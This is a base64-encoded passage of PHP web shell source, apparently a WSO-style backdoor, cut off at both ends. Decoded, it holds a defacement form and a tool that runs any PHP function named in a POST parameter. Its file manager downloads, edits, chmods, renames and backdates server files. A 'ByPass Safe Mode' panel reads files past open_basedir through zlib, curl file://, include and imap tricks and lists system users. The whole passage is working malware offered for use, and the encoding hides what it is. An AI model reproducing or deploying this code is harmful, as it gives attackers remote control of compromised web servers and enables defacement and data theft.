IiBpZD0iZGVmIiB2YWx1ZT0iQW5Pbkd1WS5odG1sIiBzaXplPSIxMCIvPiZuYnNwOzxpbnB1dCB0eXBlPSJidXR0b24iIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ1wnLFwnZGVmYWNlXCcsZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdkZWZcJykudmFsdWUpIiB2YWx1ZT0iQWRkIERlZmFjZSBIZXJlIj48L3RkPjwvdHI+DQogICAgPC9mb3JtPjwvdGFibGU+PC9kaXY+JzsNCiAgICBwcmludEZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpIHsNCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRwKSB7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHApKTt9fQ0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJhc2NpaScpKSB7ZnVuY3Rpb24gaGV4MmFzY2lpKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJMZW4oJHApOyRpKz0yKXskci49Y2hyKGhleGRlYygkcFskaV0uJHBbJGkrMV0pKTt9cmV0dXJuICRyO319DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5jdGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49IGRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0NCiAgICANCiAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOw0KICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJF9QT1NUWydwMSddKSkNCiAgICAgICAgICAgIGVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7DQogICAgICAgICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlwNClwNClx0XFwnXDAiKS4iJztcDQoiOw0KICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCksICJcDQoiLCAkdGVtcDsNCiAgICAgICAgZXhpdDsNCiAgICB9DQogICAgcHJpbnRIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE+U3RyaW5nIENvbnZlcnRlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQogICAgJHN0cmluZ1Rvb2xzID0gYXJyYXkoDQogICAgICAgICdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsDQogICAgICAgICdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsDQogICAgICAgICdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywNCiAgICAgICAgJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLA0KICAgICAgICAnRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsDQogICAgICAgICdtZDUgaGFzaCcgPT4gJ21kNScsDQogICAgICAgICdzaGExIGhhc2gnID0+ICdzaGExJywNCiAgICAgICAgJ2NyeXB0JyA9PiAnY3J5cHQnLA0KICAgICAgICAnQ1JDMzInID0+ICdjcmMzMicsDQogICAgICAgICdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLA0KICAgICAgICAnSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywNCiAgICAgICAgJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLA0KICAgICAgICAnSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLA0KICAgICAgICAnREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsDQogICAgICAgICdERUMgdG8gQklOJyA9PiAnZGVjYmluJywNCiAgICAgICAgJ0JJTiB0byBIRVgnID0+ICdiaW4yaGV4JywNCiAgICAgICAgJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLCAgICAgICAgDQogICAgICAgICdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLA0KICAgICAgICAnU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVyJywNCiAgICAgICAgJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywNCiAgICAgICAgJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLA0KICAgICk7DQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsNCiAgICBlY2hvICI8Zm9ybSBuYW1lPSd0b29sc0Zvcm0nIG9uU3VibWl0PSdpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9IHJldHVybiBmYWxzZTsnPjxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCc+IjsNCiAgICBmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAkayA9PiAkdikNCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJz4iLiRrLiI8L29wdGlvbj4iOw0KICAgICAgICBlY2hvICI8L3NlbGVjdD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nLz4gPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgIi4oJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4iPiBzZW5kIHVzaW5nIEFKQVg8YnI+PHRleHRhcmVhIG5hbWU9J2lucHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPWJpZ2FyZWE+Ii5odG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ3AyJ10pLiI8L3RleHRhcmVhPjwvZm9ybT48cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuIm1hcmdpbi10b3A6NXB4JyBpZD0nc3RyT3V0cHV0Jz4iOw0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygkX1BPU1RbJ3AxJ10pKQ0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOw0KICAgIH0NCiAgICBlY2hvIjwvcHJlPjwvZGl2PiI7DQogICAgcHJpbnRGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uRmlsZXNUb29scygpIHsNCiAgICBpZiggaXNzZXQoJF9QT1NUWydwMSddKSApDQogICAgICAgICRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOw0KICAgIGlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsNCiAgICAgICAgaWYoaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsNCiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsNCiAgICAgICAgICAgICAgICAkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOw0KICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiAiLiR0eXBlKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7DQogICAgICAgICAgICBpZigkZnApIHsNCiAgICAgICAgICAgICAgICB3aGlsZSghQGZlb2YoJGZwKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsNCiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYoaXNfZGlyKCRfUE9TVFsncDEnXSkgJiYgaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgew0KDQogICAgICAgIH0NCiAgICAgICAgZXhpdDsNCiAgICB9DQogICAgaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7DQogICAgICAgIGlmKCFmaWxlX2V4aXN0cygkX1BPU1RbJ3AxJ10pKSB7DQogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOw0KICAgICAgICAgICAgaWYoJGZwKSB7DQogICAgICAgICAgICAgICAgJF9QT1NUWydwMiddID0gImVkaXQiOw0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIHByaW50SGVhZGVyKCk7DQogICAgZWNobyAnPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KICAgIGlmKCAhZmlsZV9leGlzdHMoQCRfUE9TVFsncDEnXSkgKSB7DQogICAgICAgIGVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7DQogICAgICAgIHByaW50Rm9vdGVyKCk7DQogICAgICAgIHJldHVybjsNCiAgICB9DQogICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOw0KICAgICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsNCiAgICBlY2hvICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNfZmlsZSgkX1BPU1RbJ3AxJ10pP3ZpZXdTaXplKGZpbGVzaXplKCRfUE9TVFsncDEnXSkpOictJykuJyA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy52aWV3UGVybXNDb2xvcigkX1BPU1RbJ3AxJ10pLicgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLic8YnI+JzsNCiAgICBlY2hvICc8c3Bhbj5DcmVhdGUgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVjdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWF0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+TW9kaWZ5IHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJzxicj48YnI+JzsNCiAgICBpZiggZW1wdHkoJF9QT1NUWydwMiddKSApDQogICAgICAgICRfUE9TVFsncDInXSA9ICd2aWV3JzsNCiAgICBpZiggaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICkNCiAgICAgICAgJG0gPSBhcnJheSgnVmlldycsICdIaWdobGlnaHQnLCAnRG93bmxvYWQnLCAnSGV4ZHVtcCcsICdFZGl0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOw0KICAgIGVsc2UNCiAgICAgICAgJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7DQogICAgZm9yZWFjaCgkbSBhcyAkdikNCiAgICAgICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvYT4gJzsNCiAgICBlY2hvICc8YnI+PGJyPic7DQogICAgc3dpdGNoKCRfUE9TVFsncDInXSkgew0KICAgICAgICBjYXNlICd2aWV3JzoNCiAgICAgICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPic7DQogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOw0KICAgICAgICAgICAgaWYoJGZwKSB7DQogICAgICAgICAgICAgICAgd2hpbGUoICFAZmVvZigkZnApICkNCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsNCiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8L3ByZT4nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ2hpZ2hsaWdodCc6DQogICAgICAgICAgICBpZiggaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsNCiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7DQogICAgICAgICAgICAgICAgJGNvZGUgPSBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7DQogICAgICAgICAgICAgICAgZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdjaG1vZCc6DQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQogICAgICAgICAgICAgICAgJHBlcm1zID0gMDsNCiAgICAgICAgICAgICAgICBmb3IoJGk9c3RybGVuKCRfUE9TVFsncDMnXSktMTskaT49MDstLSRpKQ0KICAgICAgICAgICAgICAgICAgICAkcGVybXMgKz0gKGludCkkX1BPU1RbJ3AzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRfUE9TVFsncDMnXSktJGktMSkpOw0KICAgICAgICAgICAgICAgIGlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7DQogICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsdWU9Iicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncDEnXSkpLC00KS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdlZGl0JzoNCiAgICAgICAgICAgIGlmKCAhaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSwkX1BPU1RbJ3AzJ10pOw0KICAgICAgICAgICAgICAgIGVjaG8gJ1NhdmVkITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7DQogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOw0KICAgICAgICAgICAgaWYoJGZwKSB7DQogICAgICAgICAgICAgICAgd2hpbGUoICFAZmVvZigkZnApICkNCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsNCiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ2hleGR1bXAnOg0KICAgICAgICAgICAgJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwMSddKTsNCiAgICAgICAgICAgICRuID0gMDsNCiAgICAgICAgICAgICRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOw0KICAgICAgICAgICAgJGxlbiA9IHN0cmxlbigkYyk7DQogICAgICAgICAgICBmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsNCiAgICAgICAgICAgICAgICAkaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOw0KICAgICAgICAgICAgICAgIHN3aXRjaCAoIG9yZCgkY1skaV0pICkgew0KICAgICAgICAgICAgICAgICAgICBjYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICBjYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICBjYXNlIDEwOiAkaFsyXSAuPSAnICc7IGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICBjYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbisrOw0KICAgICAgICAgICAgICAgIGlmICgkbiA9PSAzMikgew0KICAgICAgICAgICAgICAgICAgICAkbiA9IDA7DQogICAgICAgICAgICAgICAgICAgIGlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9DQogICAgICAgICAgICAgICAgICAgICRoWzFdIC49ICc8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgJGhbMl0gLj0gIlwNCiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jMDAwMDAwPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMDAwMDAwPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdyZW5hbWUnOg0KICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KICAgICAgICAgICAgICAgIGlmKCFAcmVuYW1lKCRfUE9TVFsncDEnXSwgJF9QT1NUWydwMyddKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnQ2FuXCd0IHJlbmFtZSE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BPU1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ3RvdWNoJzoNCiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCiAgICAgICAgICAgICAgICAkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOw0KICAgICAgICAgICAgICAgIGlmKCR0aW1lKSB7DQogICAgICAgICAgICAgICAgICAgIGlmKEB0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLG51bGwsbnVsbCwiIik8L3NjcmlwdD4nKTsNCiAgICAgICAgICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdGYWlsITxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhPHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ21rZmlsZSc6DQogICAgICAgICAgICANCiAgICAgICAgICAgIGJyZWFrOw0KICAgIH0NCiAgICBlY2hvICc8L2Rpdj4nOw0KICAgIHByaW50Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblNhZmVNb2RlKCkgew0KICAgICR0ZW1wPScnOw0KICAgIG9iX3N0YXJ0KCk7DQogICAgc3dpdGNoKCRfUE9TVFsncDEnXSkgew0KICAgICAgICBjYXNlIDE6DQogICAgICAgICAgICAkdGVtcD1AdGVtcG5hbSgkdGVzdCwgJ2N4Jyk7DQogICAgICAgICAgICBpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJF9QT1NUWydwMiddLCAkdGVtcCkpew0KICAgICAgICAgICAgICAgIGVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wKTsNCiAgICAgICAgICAgICAgICB1bmxpbmsoJHRlbXApOw0KICAgICAgICAgICAgfSBlbHNlDQogICAgICAgICAgICAgICAgZWNobyAnU29ycnkuLi4gQ2FuXCd0IG9wZW4gZmlsZSc7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAyOg0KICAgICAgICAgICAgJGZpbGVzID0gZ2xvYigkX1BPU1RbJ3AyJ10uJyonKTsNCiAgICAgICAgICAgIGlmKCBpc19hcnJheSgkZmlsZXMpICkNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICRmaWxlbmFtZS4iXA0KIjsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlIDM6DQogICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoImZpbGU6Ly8iLiRfUE9TVFsncDInXS4iXHgwMCIuU0VMRl9QQVRIKTsNCiAgICAgICAgICAgIGN1cmxfZXhlYygkY2gpOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgNDoNCiAgICAgICAgICAgIGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCiAgICAgICAgICAgIGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCiAgICAgICAgICAgIGluY2x1ZGUoJF9QT1NUWydwMiddKTsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlIDU6DQogICAgICAgICAgICBmb3IoOyRfUE9TVFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsNCiAgICAgICAgICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7DQogICAgICAgICAgICAgICAgaWYgKCR1aWQpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gam9pbignOicsJHVpZCkuIlwNCiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSA2Og0KICAgICAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaW1hcF9vcGVuJykpYnJlYWs7DQogICAgICAgICAgICAkc3RyZWFtID0gaW1hcF9vcGVuKCRfUE9TVFsncDInXSwgIiIsICIiKTsNCiAgICAgICAgICAgIGlmICgkc3RyZWFtID09IEZBTFNFKQ0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgZWNobyBpbWFwX2JvZHkoJHN0cmVhbSwgMSk7DQogICAgICAgICAgICBpbWFwX2Nsb3NlKCRzdHJlYW0pOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgfQ0KICAgICR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgcHJpbnRIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE+QnlQYXNzIFNhZmUgTW9kZSAhPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCiAgICBlY2hvICc8c3Bhbj5Db3B5IChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjEiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5HbG9iIChsaXN0IGRpcik8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgd